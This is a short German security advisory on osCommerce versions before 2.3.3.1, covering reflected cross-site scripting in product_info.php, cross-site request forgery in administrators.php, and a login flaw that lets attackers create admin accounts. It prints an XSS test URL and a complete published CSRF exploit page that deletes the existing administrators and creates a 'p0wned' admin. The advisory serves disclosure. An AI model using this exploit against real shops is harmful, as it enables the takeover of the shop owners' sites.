Programmierfehler im Shopsystem OS Commerce

Eine Sicherheitslücke in der OS-Commerce-Applikation hat zur Folge, dass ein entfernter Angreifer einen neuen Administrator-Account anlegen kann. Hiermit ist er dann in der Lage, das System zu manipulieren. Eine weitere Schwachstelle führt dazu, dass ein entfernter Angreifer auch Cross-Site-Skripting- und Cross-Site-Forgery-Attacken gegen OS Commerce ausführen kann.

Verantwortlich für die letztgenannten Probleme sind Programmierfehler in der “product_info.php”-Datei. Hier wird die “products_id”-Variable nicht korrekt
verarbeitet und nicht ordentlich auf schädlichen HTML-Code untersucht. Dadurch kann der Angreifer Skripting-Befehle absetzen. Eine Exploit-URL könnte so
aussehen:

http://[target]/product_info.php?products_id=27<script>alert('xss');</script>

Dies ist eine harmlose Attacke bei der lediglich eine alert()-Box geöffnet wird. Ein Angreifer kann hier allerdings beliebigen Code einsetzen, der dann in dem Browser des Opfers ausgeführt wird. Damit sind beliebige Cross-Site-Skripting-Attacken möglich.

Cross-Site-Forgery-Attacken sind aufgrund eines Programmierfehlers in der “administrators.php”-Datei möglich. Ein Angreifer kann ihn ausnutzen, um alle Accounts des Systems zu löschen.

Eine weitere Sicherheitslücke in der Login-Seite hat zur Folge, dass ein Angreifer sogar neue Admin-Accounts anlegen kann. Ein Exploit hierzu wurde ebenfalls veröffentlicht:

<html>
<head> </head><body> <?php$targetSite = $_SERVER['HTTP_REFERER'];$targetSite = str_replace("whos_online.php", "", $targetSite);?><!-- delete all of the existing admin users --><?phpfor ($i=1; $i<=10; $i++){echo '<img style="height; 1px; display: none;"</span> src="'.$targetSite.'administrators.php?aID='.$i.'&action=deleteconfirm" />';}?><!-- create a new user account now the admin table is empty--><?phpecho '<div style="display: none;"><form</span> action="'.$targetSite.'login.php?action=create" method="post">';?><input type="text" value="p0wned" name="username" /> <input type="text" value="p0wned" name="password" /> <input type="submit" id="submit" value="submit" /> </form></div><!-- post back to the site, appears to have just logged out --><script>setTimeout(function(){document.getElementById('submit').click();},50 00);</script></body></html>

Betroffen sind die Versionen vor 2.3.3.1.

Nach oben